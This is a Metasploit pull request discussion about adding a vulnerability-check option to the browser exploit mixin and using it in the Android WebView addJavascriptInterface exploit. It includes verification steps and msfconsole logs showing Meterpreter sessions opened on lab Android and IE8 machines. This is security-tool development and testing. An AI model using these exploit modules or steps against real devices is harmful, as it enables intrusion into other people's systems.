Adds a :vuln_test option to BES, use it in the Android Webview Exploit

[jvennix-r7]

This attempts to add the :vuln_test functionality from BAP to the BES mixin. I've also added a :vuln_test_error key that allows printing a custom error message when the check fails.

Verification

• get a shell with exploit/android/browser/webview_addjavascriptinterface on an affected version

• browse to the exploit on a non-vulnerable version (Stock browser on anything 4.2 and up will work)

• you should get two errors in msfconsole:

  [!] 192.168.0.4      webview_addjavascriptinterface - Exploit re
  quirement(s) not met: vuln_test. For more info: http://r-7.co/PV
  bcgx
  [!] 192.168.0.4      webview_addjavascriptinterface - No vulnera
  ble Java objects were found in this web context.
  

• ensure you can get a shell with any other BES module (to ensure the absence of :vuln_test in BrowserRequirements does not cause the exploit to fail)

[jvennix-r7]

This addresses Issue #3911.

[wchen-r7]

Vulnerable android:

msf exploit(webview_addjavascriptinterface) > [*] Using URL: http://0.0.0.0:8080/joe2
[*]  Local IP: http://192.168.1.64:8080/joe2
[*] Server started.
[*] 192.168.1.83     webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.83     webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.1.83     webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (43586 bytes) to 192.168.1.83
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.83:52663) at 2014-10-02 14:02:06 -0500

non-vulnerable android:

msf exploit(webview_addjavascriptinterface) > [*] Using URL: http://0.0.0.0:8080/test
[*]  Local IP: http://192.168.1.64:8080/test
[*] Server started.
[*] 192.168.1.119    webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.119    webview_addjavascriptinterface - Sending response HTML.
[!] 192.168.1.119    webview_addjavascriptinterface - Exploit requirement(s) not met: vuln_test. For more info: http://r-7.co/PVbcgx
[!] 192.168.1.119    webview_addjavascriptinterface - No vulnerable Java objects were found in this web context

tried ie_cbutton_uaf:

msf exploit(ie_cbutton_uaf) > [*] Using URL: http://0.0.0.0:8080/GixWQfa
[*]  Local IP: http://192.168.1.64:8080/GixWQfa
[*] Server started.
[*] 192.168.1.64     ie_cbutton_uaf - Requesting: /GixWQfa
[*] 192.168.1.64     ie_cbutton_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.1.64     ie_cbutton_uaf - Sending HTML...
[*] Sending stage (769536 bytes) to 192.168.1.64
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.64:51863) at 2014-10-02 16:29:02 -0500
[*] Session ID 1 (192.168.1.64:4444 -> 192.168.1.64:51863) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (508)
[*] Spawning notepad.exe process to migrate to